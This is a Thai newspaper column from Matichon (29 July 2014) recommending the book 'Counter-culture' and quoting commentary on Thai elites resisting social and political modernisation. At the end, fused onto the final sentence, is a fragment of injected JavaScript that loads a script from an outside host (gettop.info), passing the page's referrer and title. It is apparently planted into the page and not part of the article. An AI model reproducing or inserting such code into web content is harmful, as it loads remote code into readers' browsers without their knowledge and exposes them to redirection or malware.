Download PDF

มติชนรายวัน ฉบับประจำวันอังคารที่ 29 กรกฎาคม 2557

 

วัฒนธรรมต่อต้าน

       “อะไรๆก็ถูกทำให้กลายเป็นเรื่องการเมืองและการต่อสู้ไปเสียทั้งหมด”

       เป็นข้อความตอนท้ายในล้อมกรอบโฆษณาหนังสือวัฒนธรรมต่อต้าน พิมพ์ในจดหมายข่าวศูนย์มานุษยวิทยาสิรินธร (เล่มล่าสุด)

       แท้จริงแล้วไม่ต้องมีใครทำให้เป็นการเมืองและการต่อสู้ แต่เป็นเองตามธรรมชาติ ผมเองก็อยากรู้นักว่าจะมีอะไรในโลกนี้หรือที่ไม่มีการเมืองกับการต่อสู้? แม้กระทั่งกำเนิดของศูนย์จนปัจจุบัน?

       วัฒนธรรมต่อต้านเป็นหนังสือเรื่องการเมืองและการต่อสู้ล้วนๆที่ควรอ่านอย่างยิ่ง โดยเฉพาะในยุคมีคนพวกหนึ่งต่อต้านประชาธิปไตย

       แรกสุดพอเห็นโฆษณาในจดหมายข่าวศูนย์มานุษยวิทยา สิรินธร ผมก็รีบให้พรรคพวกช่วยไปซื้อมาทันที 250 บาท แล้วอ่านทันใด แค่ย่อหน้าแรกของ อ. ยุกติ มุกดาวิจิตร ก็โดนใจ จะคัดมาแบ่งปัน ดังนี้

       การศึกษาวัฒนธรรมในปัจจุบัน ได้ก้าวข้ามไกลไปจากทัศนะที่ว่า ‘วัฒนธรรมคือความเจริญงอกงามของสังคม’ มานานแล้ว

       วัฒนธรรมในความหมายที่นักศึกษาค้นคว้าทางวัฒนธรรมให้ความสำคัญในปัจจุบันนั้น ไม่ได้มีภาวะปกติหยุดนิ่งที่สังคมจะต้องสืบทอดต่อเนื่องไป

       หากแต่วัฒนธรรมกลายเป็นกระบวนการที่เคลื่อนไหวเปลี่ยนแปลงตลอดเวลา ไม่ว่าการเปลี่ยนแปลงนั้นจะเกิดขึ้นอย่างก้าวกระโดดใหญ่หลวง หรือเกิดขึ้นทีละเล็กละน้อยก็ตาม

       แต่คนชั้นนำไทย อยากให้วัฒนธรรมของไทยหยุดนิ่งอยู่กับอดีต ที่ตัวเองได้เปรียบ และเลือกสรรตามต้องการไว้แล้วเพื่อรักษาความได้เปรียบของตน

       หรือพูดอีกอย่างหนึ่งได้ว่าอยากมีความทันสมัยทางวัตถุเท่านั้น แต่พยายามดึงสังคมไว้มิให้เปลี่ยนผ่านไปสู่ความทันสมัยจริง

       คือไม่อยากมีความทันสมัยส่วนที่เป็นโครงสร้างหลัก เช่น โครงสร้างสังคมสมัยใหม่ ที่มีการจัดองค์กรใหม่ทางสังคม, เศรษฐกิจ, การเมือง, ฯลฯ เพราะจะส่งผลสะเทือนต่อสถานะที่รักษาไว้

       (สรุปจากบทความเรื่องปัญญาชนไทย กับความทันสมัย โดย นิธิ เอียวศรีวงศ์ ใน   มติชนรายวัน ฉบับวันจันทร์ที่ 21 กรกฎาคม 2557 หน้า 20)

       วัฒนธรรมต่อต้าน ไม่จำเป็นต้องเสนอสิ่งใหม่ หรือสร้างสรรค์สิ่งใหม่ เพราะท้ายที่สุดก็อาจถูกดูดกลืนเข้าไป แล้วโดนครอบงำเป็นส่วนหนึ่งของวัฒนธรรมหลักก็ได้

       ซึ่งมีให้เห็นเป็นปกติธรรมดาจนทุกวันนี้มิใช่หรือ?if (document.currentScript) { s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;